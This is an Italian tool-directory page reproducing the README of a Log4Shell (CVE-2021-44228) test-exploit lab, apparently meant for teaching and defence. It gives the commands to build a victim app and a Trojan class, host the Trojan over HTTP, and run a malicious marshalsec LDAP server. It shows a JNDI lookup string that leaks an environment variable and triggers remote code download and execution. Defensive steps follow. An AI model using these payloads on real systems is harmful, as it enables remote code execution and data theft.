Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4shell-test-exploit — Exploit di test di CVE-2021-44228 | Kitploit
Strumenti/GitHubGitHub/wajda/log4shell-test-exploit
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubwajda/log4shell-test-exploit

log4shell-test-exploit

Exploit di test di CVE-2021-44228

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit di test di CVE-2021-44228 (log4shell)

Preparazione

root@kitploit:~
# Installa il server HTTP Nodejs
npm -g i http-server

# Compila l'app vittima
cd victim-app
mvn install

# Compila il Trojan
cd test-trojan
javac Trojan.java

# Compila marshalsec (richiede Java 8)
git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# Compila log4j-jndi-be-gone
git clone [email protected]:wajda/log4j-jndi-be-gone.git
cd log4j-jndi-be-gone
git checkout shading-support
./gradlew

Avvia il server HTTP che ospita un payload Trojan

root@kitploit:~
cd test-trojan
http-server .

Avvia un server LDAP dannoso

Vedi https://github.com/mbechler/marshalsec

root@kitploit:~
cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"

Monitora gli eventi di exploit (facoltativo)

utile nei casi in cui stderr è nascosto

root@kitploit:~
watch -d -n 1 'ls -la /tmp/ | grep -i log4shell-BUSTED'

Exploit

Spiegazione

L'applicazione vittima registra la seguente stringa tramite una libreria log4j2 vulnerabile (versione 2.14.1)

root@kitploit:~
log.error("${jndi:ldap://127.0.0.1:1389/a/${env:USER}}");

eseguendo due vettori di attacco simultaneamente:

  1. Sniffing delle variabili d'ambiente ($USER in questo esempio), che può essere visualizzato nell'output del server LDAP marshalsec
root@kitploit:~
Send LDAP reference result for a/<VICTIM_USER_NAME> redirecting to http://127.0.0.1:8080/Trojan.class
  1. Download ed esecuzione di codice dannoso che registra il messaggio !!! BUSTED !!! nel flusso di errore standard dell'applicazione vittima, e crea inoltre un file vuoto /tmp/log4shell-BUSTED-*.
    Affinché questo attacco funzioni, la seguente opzione JVM deve essere abilitata sul server vittima:
root@kitploit:~
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Esecuzione
root@kitploit:~
cd victim-app

# ... in un'app console
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

# ... in un'app web (su Tomcat)
cp web/target/log4j2-victim-webapp-1.0-SNAPSHOT.war $TOMCAT_HOME/webapps
curl http://localhost:$TOMCAT_HTTP_PORT/log4j2-victim-webapp-1.0-SNAPSHOT/

Difesa

Vedi: https://github.com/wajda/log4j-jndi-be-gone/tree/shading-support

root@kitploit:~
java -javaagent:log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=classSigDetection=enabled -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar

Difesa a livello di sistema

Sostituisci tutti i binari java con lo script seguente:

java.guarded

root@kitploit:~
#!/bin/bash
$(dirname "$0")/java.original "-javaagent:/path/to/log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=logDir=/tmp,classSigDetection=enabled" "$@"

Esempio:

root@kitploit:~
 cd $(dirname $(which java))
 sudo su
 mv java java.original
 cp java.guarded java
Scarica lo strumento